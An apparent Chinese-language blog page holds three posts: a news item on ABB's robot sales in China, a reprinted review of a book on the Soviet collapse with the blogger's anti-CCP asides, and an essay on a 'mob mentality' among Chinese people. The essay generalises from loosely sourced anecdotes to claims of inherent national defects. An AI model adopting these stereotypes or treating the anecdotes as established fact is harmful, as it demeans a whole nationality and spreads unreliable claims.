台湾高科技产业衰落的情况下,中国大陆提出向中国创造转型,增加对创新的资金投入,去年以来加强这方面的投入,这几年大陆创新企业在资本市场创造的诸多科技造富神话无不吸引台湾的高科技人才前往淘金。

中国的机器人市场爆发推动瑞典的ABB公司在华销售收入创新高

中国机器人市场的爆发令市场中的企业获得了不菲的红利。电力和自动化技术集团ABB近日公布最新财报称,2014年,ABB(中国)有限公司订单额及销售 收入双双超过58亿美元,均创历史新高,去年在华累计投资总额近19亿美元。以工业机器人为代表的智能制造技术是ABB去年业务创新的重点。2014 年,ABB在中国市场推出了世界上首台真正实现人机协作的机器人YUMI和满足现代物料搬运和上下料要求的全新小型机器人IRB 1200。2014年,ABB机器人及视觉追踪系统成功应用于京东方LCD液晶显示单元生产线;在格力电器的珠海工厂,ABB机器人被用于搬运、码垛、机 床上下料、钣金冲压等自动化生产线,帮助车间提升了30%的生产效率;在汽车制造业,ABB为长安福特提供了最新的柔性车身总拼定位系统。ABB是全球主 要的机器人供应商之一,目前已在全球范围内安装了超过25万台机器人,是中国市场份额最大的机器人制造商。ABB(中国)有限公司董事长兼总裁顾纯元表 示:“在中国制造智能升级的大背景下,机器人市场的爆发成为热点。虽然市场需求是巨大的,但制约中国机器人产业的最大瓶颈是人才问题。企业采用机器人生 产,机械臂可以通用,但人才却不能互通,汽车行业和家电行业的机器人工程师,对系统集成、软件使用和流程的掌握都不一样,这需要长期的人才培育和资金投 入,需要更多企业的参与。此外,中国机器人市场爆发,不仅仅是简单改造一条生产线或一个工作站,而是整个系统的整合,即利用最少的资金、最小的能耗和最低 的成本为客户提供最好的、个性化和多元化的产品及解决方案。”

Monday, 30 March 2015

苏联帝国的兴衰史

CCCP,现在的年青人很少知道这四个字母意味着什么。这个曾经不可一世的苏联帝国,仅仅存在了70年便瓦解了,其寿命比中国历史上的蒙元帝国还 短。苏联帝国兴衰之秘密,如同罗马帝国一般引起学者们持久的兴趣,祖博克的名著《失败的帝国:从斯大林到戈尔巴乔夫》最近翻译成中文了,该书所要探讨的核 心问题是:为什么苏联成为足以与美国抗衡的超级大国花了三十年,但这个巨人的解体却只用了三年时间?
苏联的解体,是一次突发的雪崩,谁也没有预料到。庞大帝国的身影,消失在世纪末的地平线,为半个世纪的冷战划上了句号。从十月革命开始,苏联经历了列宁、 斯大林、赫鲁晓夫、勃列日涅夫和戈尔巴乔夫五个时代。作为一个帝国,其真正的打造者是斯大林,经历了残酷的卫国战争,以死亡2600万人口为代价,苏联在 二战之后成为与美国并驾齐驱的两大超级大国,达到了它的巅峰,但这也是其衰败的开始。
在战争的后期,几百万苏联红军跨过东欧,打到德国和奥地利,他们是征服者,但精神上却为被征服者所征服。从国外归来的军官们私下说:“我们到过国外的几百 万士兵,都看到那里的人们是怎样生活的;大家都这样说,哪里也没有比我们国家生活更糟的地方了”。著名的战地作家西蒙诺夫在剧本《在布拉格的栗树下》描写 了一个捷克女郎与苏军上校的对话,女郎不无鄙视地说:“您想必不喜欢欧洲。这些阔绰的独宅大院,这些别墅花园,这些带铁皮屋顶的房舍,必定都让您生气。但 是,您能否认这些吗?”上校沮丧地承认:“可以否认思想,但绝对否认不了铁皮屋顶。既然它是铁的,那就是铁的”。这一情形如同19世纪初进军巴黎的俄国军 队贵族为先进的法国文明所征服,回国后成为反对沙皇制度的十二月党人一般。战后的苏联,要求改革的声音在地下滋长,但斯大林错过了最佳的时机,他陶醉于帝国 的强大之中,偏执地拒绝一切改变。(中国的共匪也是如此)
国门一旦开过,心灵之窗就再也不可能关闭。斯大林死后,一场迟到十年之久的改革在赫鲁晓夫的领导下启航。农民出身的赫鲁晓夫,懂世俗,有现实感,知道什么 是民众真正需要的,他喜欢说大白话:“我们好像是布道的神甫,许诺说天上有个天国,可眼下却没有土豆吃。……我们应当在地面上给予这种幸福。我当过工人, 那时候没有社会主义,可有土豆;如今社会主义建成了,却没有土豆”。精神的天国何其遥远,赫鲁晓夫承诺给人们一个可触摸的世俗乐园:“土豆烧牛肉”的共产 主义。
对于知识分子来说,最重要的是赫鲁晓夫带来了免于恐惧的自由与意识形态的“解冻”。为什么赫鲁晓夫要推行非斯大林化?他与他的同事们在那个暴君的时代虽然 身居高位,却无时不刻战战兢兢,如履薄冰。
苏联比中国的幸运之处在于,其开国国父并非斯大林,而是列宁,以列宁批判斯大林,不仅不会动摇国本,反而能够强化民众对国家的认同。然而,赫鲁晓夫毕竟是 斯大林时代的产物,他无法超越那个时代,其改革也只能是既有体制中的微创手术,他甚至以斯大林的方式推进非斯大林化。著名的冷战史专家陈兼教授在《失败的 帝国》书评中有一段评论:“赫鲁晓夫能够成为后斯大林时代苏联的最高领导人,不是因为他在思想深度和远大政治规划上比他的同志更为杰出,而只是因为他的粗鲁和狡猾以及对于高层政治力量对比的无与伦比的理解能力,让他获得了一种具有‘即时性质’的高层政治对峙中的优势地位。他走不远,是不奇怪的。”
赫鲁晓夫时代的最大成就,乃是培养了像戈尔巴乔夫、叶利钦这样一代人,即所谓“乐观的六十年代人”。正如祖博克所分析的那样,这些新人擅长批判性思维,具 有强烈的改革意识,在他们眼里,最高的障碍来自僵化的官僚机器,它用铁锁捆住了这个国家、堵塞了革新之路。赫鲁晓夫的非斯大林化是有限的,但解冻时期熏陶 出的一代年轻人在二十年后,继承并光大了改革大业。
赫鲁晓夫的有限改革,既得罪了既得利益集团官僚阶层,也令希望深刻变化的知识分子不满。他的下台,无论是斯大林主义者,还是反斯大林主义者都拍手称快,支 持“解冻”的激进人士以为,哪怕任何人上台,都要比他好。不过,知识分子马上发现自己大错特错了。雅科夫列夫在《雾霭:俄罗斯百年忧思录》中如此形容:赫 鲁晓夫导航的改革航船一再失事。官僚集团的船员们嚎啕大哭,他们将锈迹斑斑的航船拖回叫做“停滞”的平静港湾,还选出了新的平庸船长勃列日涅夫。
勃列日涅夫之流是一批克里姆林宫的近卫军,实行的是没有斯大林的斯大林路线。大清洗自然不会再发生,只要你不关心公共生活,活得也有安全感。然而社会越来 越缺乏改革的热情,人人过的是犬儒主义的物欲生活。诚如陈兼指出的那样:“在勃列日涅夫这一代的苏联领导人看来,对苏联国家与制度形成最大‘思想威胁’ 的‘持不同政见者’,不仅包括那些指望用西方资本主义思想与意识形态来‘改造’苏联、使得社会主义制度在苏联‘变色’的知识分子,也包括那些其实真诚地希 望通过纠正苏联制度的各种深刻弊病来改善社会主义的知识分子。苏联国家安全机器也参与了对这些知识分子的压制乃至镇压。其结果,不仅使得苏联国家本身失去 了从他们的批判性意见中汲取改善自身的思想资源,也使得这些知识分子在自身理想破灭的同时,在同国家的关系中日益成为‘他者’。”当温和的体制内改革力量 也受到窒息性压制时,这个帝国也就慢慢气血衰落,像它的领袖那样成为步态沉重的垂死老人。(中华共匪国也是一样的状态。苏联帝国垮了,同样状态的中华共匪国离垮台还会远吗??
在经历了二十年的停滞与空转之后,1985年总书记的位置终于迎来了年轻的戈尔巴乔夫,“乐观的六十年代人”重新启动改革,把握了航船的方向。博祖克指 出:戈尔巴乔夫与赫鲁晓夫有许多共同点:“农民的社会背景;真心诚意,甚至可以说狂热的改革冲动;坚定不移的乐观态度以及强烈的自信;在道义上对苏联过去 的反感;相信苏联人民的常识感”。戈尔巴乔夫并非出身于红色官僚贵族,没有保江山的意识;他经历过完整的西化教育,有知识分子的儒雅气,他更愿意与西方对 话,反而与民众在一起的时候感到不自在。
主导八十年代苏联改革的“乐观的六十年代人”,是一批人性化的社会主义者,思想上更接近西欧的社会民主主义。他们既是爱国主义者,也是人道主义者,并试图 将二者统一起来,八十年代的苏联生气勃勃,气象一新。然而,掌舵人戈尔巴乔夫有改革的“新思维”,却缺乏治国的方略与掌控全局的手腕。在左右剧烈冲突之 际,他缺乏必要的决断和政治的灵活性,结果改革派离他远去,保守势力则发动政变试图废黜他。戈尔巴乔夫原本想扮演红色帝国的拯救者,不料想,却成了它的掘墓 人。
《苏联史》的作者梁赞诺夫斯基惊叹道:“苏联的消失和它的出现一样,同样的出人意料,非常突然。”如何上场,如何下场。苏联的全称为苏维埃社会主义共和国联盟。它的兴衰秘密,或许就在它的名称之中。
先谈苏维埃。这是一种自下而上选举产生的直接民主政权形式,1917年二月革命之后,俄国出现了少有的两个政权平行格局,一个是由国家杜马选出的资产阶级 临时政府,另一个是由布尔什维克领导的工人和士兵苏维埃。10月革命中苏维埃推翻了临时政府,从此苏俄开创了一个现代政治新尝试,拒绝西方普遍的代议制立 宪道路,试图以巴黎公社式的直接民主让人民当家作主。然而,在如此庞大的帝国内部建立工农为主体的直接民主,不啻为空想的乌托邦。在其历史实践当中,代表 人民执政的是列宁式政党—由少数职业革命家组成的、有严密组织与纪律的先锋队。然而,先锋队一旦握有至高无上、无所制约的国家权力,便开始自我异化,蜕变 为凌驾于社会之上的特殊利益集团。从赫鲁晓夫到戈尔巴乔夫的改革,试图实现的就是让先锋队重新代表人民的根本利益。1988年,苏共重提十月革命的口号 “全部政权归苏维埃”,试图通过释放多元的政治力量,来代替高度集权的一元化政党。然而,因为缺乏稳定的宪政架构,由“参与大爆炸”所激发的政治冲突,冲 破了原本就很脆弱的制度笼子,令政治格局发生严重的断裂。苏联诞生于苏维埃的直接民主,最后也因苏维埃的复活、自下而上的“参与大爆炸”而自我终结。别尔 嘉耶夫早就指出,俄罗斯文化当中有无政府主义和崇拜威权两种冲突又互补的性格。只要一天没有建立起以宪法为核心的宪政秩序,国家就会在强权独裁与无政府主 义之间来回震荡,苏联解体之后的俄罗斯也在延续这一历史逻辑。
再论社会主义。社会主义不仅是一种制度,更重要的是一种与革命有关的宗教般信仰。斯大林时代苏联帝国的内在凝聚力,不仅凭借国家暴力,而且还有精神上的乌托邦信仰,它来自东正教独有的弥赛亚传统,不仅要拯救俄罗 斯,而且要拯救整个人类。然而,到了20世纪,这种清教徒般的宗教精神救赎,只要国门打开一条缝,就无法经受来自西方的资本主义世俗化冲击。赫鲁晓夫最大 的功绩,乃是开创了世俗化的共产主义,世俗化按照其自身的逻辑演绎下去,最后必定颠覆信仰上的乌托邦,这使得一个庞大的帝国被抽去了得以保持精神同一性的 内在灵魂。其实,在苏联的肉身解体之前,它的灵魂早就死了
最后看共和国联盟。苏联是由15个加盟共和国组成的多民族联邦,它不是由历史文化传统自然形成的,而是沙俄和斯大林领土扩张的结果。这个人为的恐龙帝国, 从来没有形成一个具有高度同一性的苏维埃国族,之所以能够维系70年,早期靠乌托邦的革命信仰,晚年依赖于高度中央集权的国家机器。一旦中央权力式微,各 民族的政治离心力立即如火山一般喷发。值得注意的是,最终让苏联解体的,还不是少数民族的分离倾向,而是核心民族俄罗斯在政治上要求摆脱联盟的羁绊。帝国 改革的最大威胁,不是来自于外部势力的颠覆,恰恰是内部各民族、各版块的分崩离析。
戈尔巴乔夫时代的改革设计者亚科夫斯基说过一句值得玩味的话:“俄国始终没有找到一支既能抵制专制制度复辟,又能抵制革命精神的庸俗政治的力量”。何谓庸俗政治?无它者也,乃是以市民社会为基础的立宪民主。
发表于《财新周刊》2015年12期,原文有个别删节

中國的群氓現象(还是移民欧美国家吧,那里的国民素质/人文环境要好一万倍)

在我們對西方世界了解得太多時,卻對自身了解得實在太少,乃至於一切的憧憬與藍圖都是建立在一個不能融合的土地上。
首先我來講個故事,這是發生在幾年前的「安利退貨門事件」,故事發生在中國經濟最活躍的城市–上海:
自九十年代後期,隨著跨國企業進入中國,西方世界與中國才在基本的生活層面真正開始相互接觸。在跨國企業大批量遷往中國的過程中,一家名叫「安利(Amway)」的美國保健品跨國公司,也希望在這片它並不熟悉的土地上開展藍圖。
作為一家排名世界500強、並且是前三十名的國際知名企業,安利公司直銷制度體系顯得非常獨特,並且被世界首富比爾蓋茨另眼相看,形容為「最無懈可擊的激勵制度」、被哈佛MBA和中國人大MBA列為教材案例,這家公司自然是實力雄厚,對中國市場充滿了期待。
然而,正是這家巨型企業,在中國最繁榮的城市上海,領略到的是東方人的不可思議之處:
剛進入中國的安利,一切制度是以它在歐美的設計為標準。按美國安利規定,產品實行「無因全款退貨」:不管任何原因,如果顧客在使用后感到不滿意,哪怕一瓶 沐浴露用得一滴不剩,只要瓶還在,就可以到安利退得全款–注意哦,是退全款!這項制度在美國施行了很久,一直是安利公司的信譽和品牌象徵,退貨率微乎其微 (估計那”微”也是在美國的中國人),安利的產品是優質的。然而在中國,精明的國人很快以「特色」的方式震撼了美國人:很多中國人回家把剛買的安利洗碗 液、洗衣液倒出一半,留用,然後再用半空的瓶子、甚至全空的瓶子去要求全額退款。在上海,剛剛開業不久的安利公司,每天清早門口排起了退款的長長隊伍,絡 繹不絕,人潮湧動,一時間,令安利的美國人大吃一驚。
美國人怎麼也搞不明白:作為擁有半個世紀經營經驗、一整套完整制度體系的安利企業帝國,他們「全額退款制度」在西方實行一直良好,為何到了中國,竟然遭遇如此數量巨大的退貨?真的是產品質量不好嗎,以致於引起成百上千的中國老百姓要求退貨?
但由於承諾在先,安利還是頂著每天的巨大虧損,忠實履行了退貨承諾。然而,令人更加驚異的現象發生了:一方面是產品銷售量劇增,大大超乎公司的預期;可另 一方面,拿著空瓶子前來退貨的顧客也越來越多,最後竟然達到每天退款高達100萬元,還得倒貼30萬元產品–終於讓美國安利吃不消了!從這之後,安利公司 迅速對中國的制度進行修改:產品用完一半,只能退款一半;全部用完,則不予退款!自此,安利(中國)改變了其公司制度,轉變了原先安利(美國)的營銷模 式,開始逐步領悟「中國特色」。
傻乎乎的美國人被精明的中國老百姓耍懵了,上海市民們在這場「退貨風波」中或許暗自冷笑,為自己得到的小便宜而沾沾自喜。很多美國人至今也搞不明白:為什 麼他們被哈佛大學引以為豪的最先進的制度體系、被譽為「完美無懈可擊的一整套激勵制度」,在中國這片神奇的土壤上,竟遭遇滑鐵盧般的慘敗?
中國人,真是太奇怪了,這完全是一個不遵守遊戲規則的世界。
在已故的美國作家阿倫特、法國社會心理學家勒龐的筆下,現實社會中有一群這樣的人:群氓。他們並沒有犯什麼傷天害理的罪行,為的只是圖自己的小便宜、或是 盲目從眾,而最終的結果卻是導致了整個社會群體的混亂、更大的醜惡,對整個社會造成極大的損害(信用損害、道德損害、物質損害–如果我們倒退回30年前, 是不是能找到似曾相識的情景?),而真正的罪魁禍首卻無法從他們當中找到,因為他們每個人並不是大奸大惡。阿倫特因此也稱之為「平庸的邪惡」。
事實上,這種「平庸的邪惡」現象普遍發生在我們中國民眾身上,大大小小的事件,層出不窮,就在你我周圍,也就是你我每個人心照不宣的小伎倆。尤其,發生在 中國最發達的城市、最具有現代公民素質的城市–上海,這樣一件當年轟動的「退貨門事件」,無疑是給國人自己打了一記重重響亮的耳光!
透過這個經濟層面的現象,我們發現的是一個令人尷尬的中國現象:即使是西方最優的制度和文化(被哈佛與世界首富認可),到了中國,就陷入泥潭,不僅不能有效實行,反而被國人給「特色化」、同化了。
記不太清楚是誰(可能是新加坡總理李光耀),曾經說過一段話,大概意思是:任何制度的設計、哪怕是世界頂尖學府和精英設置的體系,都經不起中國人的糟蹋,因為中國人是最精於鑽空子的,無孔不入,即使是堪稱完美的制度也仍然防不勝防,所以,唯一的辦法就是–用專制手段。
這段話大概是這個意思,一直在我腦海中印象深刻。當然,這樣的話會令今天我們所有有良知、有現代公民素質的中國人感到憤怒,會刺激我們大多數網上的憤怒青 年們。我們的社會在發展,我們已經是全球不可忽視的力量,能夠左右世界經濟格局,我們應該有條件擁有最完善的制度、應該達到美國那樣的社會憧憬。怎麼可以 說,我們沒有資格具備現代公民的素質呢?
然而事實或許恰恰正是這樣:我們確實仍然是一群群氓!並且,這種群氓心理在中國社會的各個角落,無孔不在。
我有幾位大學同學,在政府部門的縣、鎮一級做公務員,多年的好友,只要有時間,平常電話、網路常常聯繫,都能與他們交流一些東西。有一位同學就說,現在基 層的問題多如牛毛,事情不大,卻整天像蒼蠅一樣嗡嗡地難以處置,上也不得,下也不得,上不敢得罪,下也不敢得罪,而當地老百姓的一些作為更讓他哭笑不得, 理想被現實的無奈取代。
他說的有一個事件很值得讓我深思:一個外地貨車,運的是某種食用油(大概是吧,我是聽說的),行至到該鄉村的崎嶇道路時,因為路面不平,翻了車,貨袋破 了,黃油流了出來。司機急的是團團轉,不知如何是好,這時,該地的村民們出現了,一個、兩個、三個、四個……越來越多,司機心想:這下有救了,有人幫忙來 了!誰知這些村民們個個拿著袋子,並不是來救援,竟然是衝上前裝油,一袋、兩袋……裝得滿滿,喜滋滋地拎回家去!司機驚得目瞪口呆,卻又無可奈何,攔不 住,而村民們更加有恃無恐,甚至去扯那些本沒有破的貨運袋子,把完好的口袋全撕破了,汩汩的油流出來,不長時間,一整車的貨就分到了這些村民手中,他們一 個個喜形於色,彷彿白白撿了天大的便宜,卻把那司機氣煞得是怒火朝天,卻無計可施。
貨運車不是一輛,後面跟著來的司機們全都怒了,聯合起來找當地政府,要求賠償,懲罰那些「刁民」。政府倒是挺重視,派人前來處理,可村民們不答應,死活不 肯把黃油還給司機,雙方發生衝突,有人員損傷。鬧到後來,村民們不肯善罷甘休,大罵政府是吃裡扒外的東西,向著外地人,要求政府必須對村民們賠償精神、損 傷。於是乎,這件令人無奈而兩邊不是人的事件,最終還是讓當地政府做出讓步,對兩方都進行安慰,自己掏腰包補償雙方,才得以消停。
該同學是當事人之一。他在大學時,也曾是憤世嫉俗的青年,侃侃而談天下大事,動輒自言「以後我要是當政了就如何如何」之類話語,如今在基層幹了兩年,當年 的意氣風發早已不見,有的只是無奈的苦笑,說:罷了罷了,在中國,就是這樣……想必再多過幾年,這樣的事再見得更多,也就心態麻木,睜一隻眼閉一隻眼,任 它風雨欲來,我已巋然不動了。
農民們辛苦,但並不一定善良;農民們不容易,但他們同樣愚昧無知。對於當代的知識分子來說,我們似乎天然地把農民這個群體當作值得同情的對象,但我們恰恰 沒能夠真正深入他們的生活,了解到他們思維的本質。這些「群氓」們在自己田間地頭、自己狹小地盤上,同樣為了爭奪利益而相互內鬥:為佔小便宜而損人利己的 群體思維模式、農村裡為爭灌水溉田而相互拆台、為爭山林而兩村人大打出手、為了點蠅頭小利不惜偷盜電線放火燒山、還有最為頻繁的地方利益兩伙村民相互間、 動輒就是扛鋤頭群毆不怕事小、或是張家長、李家短然後恩怨相互往死里整……總之,魯迅的一句話:可憐之人,必有可恨之處。
中國地域差距之大,現象可謂千差萬別。上海的市民們瘋狂退貨的舉動、與田村老農們瘋狂搶貨的舉動,在我看來,卻並無二致,恰恰是映照了我們這個時代–或者 說是千百年來一直未變的國人群體心理。我的眼前浮現出的是這樣的群氓–無論是在高樓大廈的繁華城市、還是在窮鄉僻壤的山間田邊,他們都為著自己心裡的小算 盤、小利益做精確的打算,想著的是那點便宜,如何才能最快、最有效地到達自己手裡?
說到這裡,我又想起一個中國特色的現象:領取退休金。
中國老一代人們的退休,通常是從自己單位、機關里領取退休金,而由於老人們的行動不便,這種按時領取退休金的行為通常由子女們代領。而在中國,許多老人去 世之後,子女們不主動通知原單位、並且繼續以老人的名義領取養老金的現象普遍存在,有新聞報道曾有老人去世十年後,其子女依舊在以老人的名義去領養老金。 事實上,這種「群體貪小便宜」的現象在中國早已是公開的秘密,全國大大小小成百上千城市、鄉鎮,不知有多少老人的子女們在鑽這樣漏洞。乃至於傳出某市鎮的 單位,大呼退休金不夠發,不得已要求退休老人必須拿當天報紙親自拍照片,證實本人還活著,才能領取養老金–當然,這引起老人們的子女群體的抗議,認為是對 人格的歧視。而在領取退休金的背後,卻通常是人們潛意識裡的心態:反正是國家的錢,既然沒阻止我領,也沒發現,我為什麼不領?我這不算貪污犯罪吧?
中國有成千上萬個城市、鄉鎮和單位機關,這種公然在老人死後、繼續以老人名義領取退休金的中國特色方式,數目之多,倘若真的一五一十嚴查起來,恐怕嚴重得 驚人。這其中,數量上占多數是平頭百姓的退休職工,他們的子女為貪圖老人的幾百元退休金,年年月月如此,儘管他們個體認為區區幾百元並不算違法,但這種 「群體犯罪」的可怖性恰恰展現了中國人內心的劣根。這讓我想起了八十多年前的魯迅所寫的《再論雷峰塔的倒掉》一文,一個有著千百年歷史背景、西湖十景之一 的文物建築–雷峰塔,因為老百姓們傳說此塔的磚塊搬回家可以「辟邪」,於是紛紛偷挖雷峰塔的磚頭,你一塊,我一塊,紛紛搬回家,按人民群眾的說法是:我就 搬一塊磚頭,不算犯法啊。於是,最終,雷峰塔在這樣「集體無意識犯罪」的行為下,轟然倒塌,屍骨無存!
這種思維的普遍性,深入每個人的內心,不論是高高在上的官員,還是普通的平頭百姓,只要任何人得到了鑽空子的機會,就會不擇手段地去撈取最大利益,並且,他們並不認為這是可恥,而是心安理得地接受這一切、身體力行地去為之去「爭取」。
現實社會中的許多現象,給予我們一個巨大的問號:難道制度真正能夠解決所有問題嗎?對於精明算計的國人來說,恐怕任何完美的制度都依然能被鑽漏洞,所有的體制都約束不了國人。
當這個時代的人們在高呼「完善體制」時,我恰恰認為,制度是不能解決一切問題的,其實質的問題首先在於「人」。同樣是乘坐公交車,在美國為了鼓勵人們出門 坐公交,規定凡乘坐四十五次以上(無人監督),就可申請領取一定的獎金,美國人都很遵守這條規則,而不少中國人卻藉此虛報次數,以獲取獎金;在澳洲,有一 條規定「不得擅自從國外寄食品、或不知名中草藥物進入澳洲,否則將嚴厲查處,如果難以查到國外的寄件人,就會對該國國內的收件人進行罰款」,澳洲人從未想 過這條規則有何漏洞,而有中國人卻為了整別人,竟故意寄違禁品去澳洲,利用該規則,以使收件人受到懲罰。
同樣的制度,同樣的環境里,美國、澳洲可以遵守,而國人卻絞盡腦汁地尋找漏洞。對此,我們該做如何解釋呢?
魯迅筆下,雷峰塔的轟然倒塌,歸功於每個「百姓」的功勞,每個人貪一點小便宜,抱一塊磚回家,造就了一個悲劇。而如果全民參與這種「群體犯罪」的話,恐怕倒掉的就不只是一座雷峰塔那麼簡單。
如果說那些借老人名義領取退休金的子女們,貪的只是一點點小錢。那麼在曾經《南方周末》所報道的一則「重慶市民假結婚騙取房子」的新聞中,我們看到的是平民百姓們更加觸目驚心的「群氓」行為:
重慶市的一個小鎮–人和鎮,竟然在2005年創造了世界上最不可思議的離婚記錄。這個人口僅有2萬人的小鎮,短短一年時間裡竟有1795對夫婦離婚,然後 是假結婚、假再婚、復婚。這種滑稽的群體表演,原因在於重慶市的一份征地補償辦法規定:一、一對夫妻只能分一套房,但離了婚單獨立戶,就可以各分一套房, 並以優惠的價格購買;二、配偶為城鎮戶口且無住房,可以申請多分配一間屋,從一室一廳變為一室兩廳。
如此優惠、良好的保障制度,在中國這片神奇的土壤上,再一次遭遇類似「安利退貨」般的嘲弄,這再一次讓我質疑:究竟是制度本身的問題,還是這個社會群體出了問題?
據《南方周末》報道,該鎮的老百姓無論年齡大小,紛紛踴躍加入離婚隊伍。「村裡老太爺老太婆都來離婚了」,「七八十歲走不動路,兒孫扶著來的、背著來的都 有,一大家人,有說有笑地排隊」。面對如此離婚熱潮,高新區管委會副主任徐南雄很無奈地說:「55號令規定離婚分戶可分房,新婚姻法又簡化了離婚程序,我 們沒有理由去阻止離婚。」
而對於大多數村民們來說,離婚只是第一步,接下來是更加複雜的任務:再婚。於是人們又一次行動起來,最關鍵的是找人。村民們發動一切親朋好友,在政策劃定 的「老重慶9區12縣城鎮戶口」範圍內尋找結婚對象。村民們甚至開始「懸賞」,賞價從最初的六七千元一路飆升到上萬,重賞之下「丈夫」和「妻子」源源不斷 湧來。
這樣的事例我不想再說了,在我們這片特色的土地上,一切皆有可能。沒有辦不到,只有想不到,國人對於體制、環境的超強適應能力,還有極具特色的現實想象能力,真是令人驚嘆叫絕而又不可思議。
歷朝歷代,百姓們通常會大罵貪官、大罵權力壟斷者,因為那些人往往有比我們更順捷的渠道,去獲取本不應得的利益。我們常常說:官是黑的、醜惡的,而民都是 無辜的、善良的–其實這是自欺欺人的說辭。在「安利退貨」、「農民搶黃油」、「退休老人子女冒領退休金」這些發生在平民百姓身上的事情中,我沒有發現「人 民」的任何善良之處,恰恰相反,我發現的是:普通百姓只要一旦獲得了某種權力(哪怕是臨時的),有機會更改遊戲規則時,他們表現出來的群體犯罪行為、集體 竊取,與那些貪官、腐化分子的作為沒有兩樣,甚至表現得更明目張胆,更加令人可怖,因為–每個人都堂而皇之地認為自己無錯。民與官,不過是同屬一個共同的 群體罷了。而這個群體,就是我等諸位國人。
當阿倫特在用其筆調描述「群氓」的現象時,她是否知道,這個詞語真正、徹底地適用於我們這個國度。
個體的行為,孤立來看,並不足以產生多麼嚴重的影響,而一旦這個群體的每一個人都如此的話,將會匯聚成為一股洪流,產生極大危害。對於國人來說,不可能有 真正的公平公正。倘若有一天,我們真能施行一個公平公正的體制、或是自上而下的進行全面改造,那麼我相信,這一切終究被國人的小便宜、小利益、小團體心理 所取代,漸漸演化的仍然是頗具中國特色的你我之間的算計、搶奪,乃至亘古不變的「窩裡斗」、「相互拆台」。
在今天國人的思維里,1966-1976這段延續十年的歷史事件一直是國家與民族醜陋的傷疤(文化大革命)。作為每一個平頭百姓的個體,都有理由對這段歷 史充滿了義憤填膺般的憤恨。幾乎所有的人民都將其歸罪於國家的領袖,認為這完全是個人集權下的惡果–這種說法尤其盛行於今天40-60歲這一代人當中,他 們今天成為了社會的主導群體,自然有了對過往歷史的評價權。
然而事實恰恰不是這樣。如果不是國人群體本身就擁有驚人的破壞力,如果不是因為人們相互之間本就有猜忌、嫉妒、互整的傳統心理,如果不是我們這個民族千百 年來積累下來的群體犯罪思維,我很難相信,僅僅憑藉某個人的號召,就能掀起如此大的一股浪潮?國人的「選擇性失明」的劣根性再一次暴露無遺:恰恰是 40-60歲這一年齡階段的人們,在當年那場延續十年的事件當中,正值他們青春歲月的憤怒青年時代–正是他們,主演了這場悲劇,他們舉一反三地發揮自己的 破壞力和想象力,將整個民族的劣根性進行了一次經典的登場演出。
回想當年,這些20多歲的年輕人,與今天許許多多的網上的憤怒青年一樣,高呼「革命」、「革新」、「造反有理」,對現行制度的一切充滿了憤恨和挑釁,他們 目中無人、見人就咬。這個群體對上級、長輩的反叛,演化成從「文斗」的大字報、「破四舊」,發展到「武鬥」的打砸搶、抄家,紅衛兵秉持著「激進的就是正 義」的狂熱信仰,對國家機關、政府體系進行破壞性的衝擊,尤其在對待那些當年打江山的老革命、老同志時,這些年輕人把他們內心的狠毒表現得淋漓盡致:肆意 踢打、辱罵,剃成癩痢頭以示人格侮辱,戴高帽、掛貼牌進行遊街,私闖民宅抄家,肆意沒收他人財產……這無異於一場大規模群體犯罪,而犯罪的人們竟然將此稱 作「正義」。發展到後來,就是砸教堂、搗廟宇、挖墳墓、焚燒文化典籍、毀壞文物古迹,以後的受害者逐步涉及到工商業者、上層民主人士、名作家、名演員、中 學教師–而在這其中,紅衛兵們的內部又演化出不同的勢力代表,「造反派」、「極左派」、「保守派」,他們相互間爭權奪利,大打出手,儼然是整個社會以「正 義紅旗」的名義,變成了黑社會式的江湖世界。
中國式的「群氓」們無比狂熱,群體犯罪的醜惡心理下,是比「安利退貨」、「搬倒雷峰塔」嚴重數千倍的社會損傷。
我們需要真正反思的,是這樣一個問題:為什麼領袖的三言兩語,就能輕而易舉地調動起整個群體的狂熱?–這根源恰恰不在某個人的威信力量,而在於這個群體本 身就擁有著恐怖的群體犯罪心態。這是一場規模浩大的「中國群氓們」的歷史性演出。而作為民族的最高領袖者,無疑是洞悉了民族心理的這種醜惡心態的。只不 過,領袖負責打開了這個潘多拉魔盒后,魔盒裡的所有卑劣人格、心態都一涌而出,就再也控制不住,延續達十年之久。
與其說是領袖引導了民眾的行為,倒不如說,這是民眾們集體無意識的利用領袖的言辭、來達到人民內心深處隱藏的目的。當年的紅衛兵、紅小兵們肆意抄家、打 人、凌辱他人的人格時,往往藉助的是領袖的語錄,一句「毛主席教導我們」就足以掩蓋他們自身的邪惡。我的外公、爺爺當年都曾被遊街示眾,而將他們打倒、羞 辱的那些紅衛兵們,恰恰是當年那些他們用盡心血培養的青年幹部。與今天的社會現狀類似,在那個年代的這群年輕人心裡,對老一輩人充滿了不信任,在這些青年 眼裡,那些老頑固思想落後、早已被糖衣炮彈的「資產階級」、「裡通外國」所腐化,他們正是「禍國殃民」、「殘害群眾」的罪魁禍首–怎麼辦?紅衛兵們,兄弟 姐妹們,都響應起來吧,「革命無罪,造反有理」–革那些老頑固的命、打爛他們的舊世界、抄他們的家、把他們遊街示眾、讓他們受盡折磨!–這,就是「群氓」 們心底最真實的本質,群體犯罪的最經典的一次上演。
人們常說,有什麼樣的領袖,就有什麼樣的國民。我看來恰恰相反,應該是有什麼樣的國民群體,才會產生什麼樣的領袖。領袖不過是看透了民眾們的內心世界,洞 悉了他們的所思、所想,於是,領袖們的輕輕撩撥,就足以把這個群體引導到一個狂熱的狀態。與之類似,德國的納粹思潮、日本的軍國主義,都無疑彰顯了這樣一 個事實:領袖可以更換,但群體思潮依然狂熱,人民的群體思維代代相傳。
紅衛兵的主體正是當年20歲左右的年輕學生,正是這群憤青而無知的學生,在今天已成為40-60歲的社會中堅力量。隨著改革開放、經濟的發展,這個年齡段 的人們自然而然擁有了經濟上、社會輿論的話語權,這伙當年「群體犯罪」的人們,沒有絲毫的懺悔與反省,今天依舊用謊言自欺欺人,把歷史的罪責推到某個個人 的身上,卻把自己打扮成無辜受害的模樣–這個群體的犯罪心理,與那「安利退貨」、「農民搶黃油」、「搬垮雷峰塔的百姓們」一樣,竟然表現得心安理得、理所 應當!他們並不認為自己做錯了什麼,反而認為自己的行為是大眾中的一員:既然大眾都這麼幹了,我一個人又需要承擔什麼過錯呢?
中國有句名言:法不責眾。這正是我們這個民族的最大丑陋之處。一個人犯錯,遭到千夫所指、過街喊打;而一群人犯罪,則是理所應當,集體無意識地掩飾。
這是整個民族的悲哀。
